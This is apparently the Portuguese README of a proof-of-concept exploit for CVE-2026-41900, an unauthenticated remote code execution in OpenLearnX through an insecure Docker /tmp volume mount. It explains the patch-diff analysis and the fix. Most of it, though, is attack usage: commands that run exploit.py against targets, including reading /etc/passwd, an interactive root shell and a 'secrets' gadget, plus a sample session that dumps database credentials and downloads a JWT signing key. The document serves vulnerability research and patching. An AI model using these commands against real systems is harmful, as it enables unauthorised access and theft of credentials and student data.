Prova de conceito de exploit para CVE-2026-41900, uma execução remota de código não autenticada no OpenLearnX por meio de montagem de volume de contêiner, permitindo a divulgação de /tmp e execução de comandos.
| Propriedade | Valor |
|---|
| Nome | OpenLearnX-RCE |
| CVE | CVE-2026-41900 |
| GHSA | GHSA-8h25-q488-4hxw |
| Tipo | Divulgação de informações não autenticada / RCE |
| Afetado | OpenLearnX < commit 14765d7 |
| Corrigido | Commit 14765d7 (real_compiler_service) |
| CVSS | 8.6 (Alto) |
| CWE | CWE-538, CWE-377, CWE-250 |
O OSDC (meu pipeline automatizado de inteligência de patches) sinalizou um advisory silencioso no OpenLearnX — GHSA-8h25-q488-4hxw publicado sem nenhum detalhe técnico. Baixei o commit de correção (14765d7) e o comparei com seu pai (d19c4e4).
O diff contou toda a história: execute_in_container() em backend/routes/coding.py foi esvaziado e substituído por um real_compiler_service endurecido. O código antigo gravava o código fornecido pelo usuário em um arquivo temporário e, em seguida, montava os.path.dirname(temp_file) — que resolve para /tmp — em um contêiner Docker irmão como volume somente leitura. Sem user=, sem cap_drop, sem security_opt. Root por padrão.
O detalhe crucial: o blueprint compiler em /api/compiler/execute não possui decorador de autenticação. Qualquer solicitação não autenticada pode acionar a execução de código por meio da configuração vulnerável do contêiner.
Isolei o código pré-patch em um laboratório local, confirmei todos os vetores e escrevi este PoC.
POST /api/compiler/execute (sem autenticação)
│
▼
execute_in_container(user_code)
│
├─ tempfile.NamedTemporaryFile(suffix='.py') → /tmp/tmpXXXXXX.py
│
├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
│ │
│ └─ resolve para /tmp → TODO /tmp montado no contêiner
│
├─ Sem user= → executa como root (UID 0)
├─ Sem cap_drop → capacidades Docker padrão
├─ Sem security_opt → perfil seccomp padrão
│
└─ Atacante lê: segredos, credenciais, chaves JWT, submissões de outros usuários
| Gadget | Severidade | CWE | Descrição |
|---|---|---|---|
listing | ALTO | CWE-538 | Listagem de diretório de /tmp via montagem de volume |
secrets | CRÍTICO | CWE-538 | Lê credenciais, chaves, configurações de /tmp |
submissions | ALTO | CWE-538 | Lê submissões de código de outros alunos |
rootcheck | MÉDIO | CWE-250 | Confirma execução como UID 0 (root) |
caps | MÉDIO | CWE-250 | Despeja capacidades Linux efetivas |
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# Sem dependências — apenas stdlib
chmod +x exploit.py
# Verifica se um alvo é vulnerável
python3 exploit.py --check http://target:5000
# Executa todos os gadgets + gera JSON de evidências
python3 exploit.py --exploit http://target:5000
# Executa um único comando
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000
# Entra em shell interativo
python3 exploit.py --shell http://target:5000
# Executa gadgets específicos
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
Dentro do --shell, você obtém um shell pseudo-interativo. Cada comando gera um novo contêiner efêmero.
root@container:/app# id
uid=0(root) gid=0(root)
root@container:/app# ls -la /app/
total 28
-rw-r--r-- 1 root root 121 May 6 openlearnx_db_creds.conf
-rw-r--r-- 1 root root 235 May 6 jwt_signing_key.pem
-rw-r--r-- 1 root root 298 May 6 student_submission_8842.py
root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx
root@container:/app# download jwt_signing_key.pem
[+] Baixado jwt_signing_key.pem (235B)
root@container:/app# exit
Para reproduzir localmente:
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
O laboratório implanta um aplicativo Flask em contêiner reproduzindo o execute_in_container() pré-patch com:
/tmp compartilhado entre host e contêiner do aplicativoO commit 14765d7 substituiu execute_in_container() por real_compiler_service, que aplica:
container = docker_client.containers.run(
image,
volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}}, # tmpdir isolado por execução
cap_drop=["ALL"], # remove todas as capacidades
security_opt=["no-new-privileges:true"], # impede escalonamento de privilégios
user="65534:65534", # nobody, não root
...
)
| Data | Evento |
|---|---|
| 2026-04 | OSDC sinaliza advisory silencioso GHSA-8h25-q488-4hxw |
| 2026-04 | Análise de diff do commit 14765d7 vs pai d19c4e4 |
| 2026-05 | Reprodução em laboratório e desenvolvimento do PoC |
| 2026-05-06 | PoC completo confirmado — todos os 5 vetores validados |
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. Use somente contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. Acesso não autorizado a sistemas de computador é ilegal.
Christbowel · christbowel.com · Balgo Security Team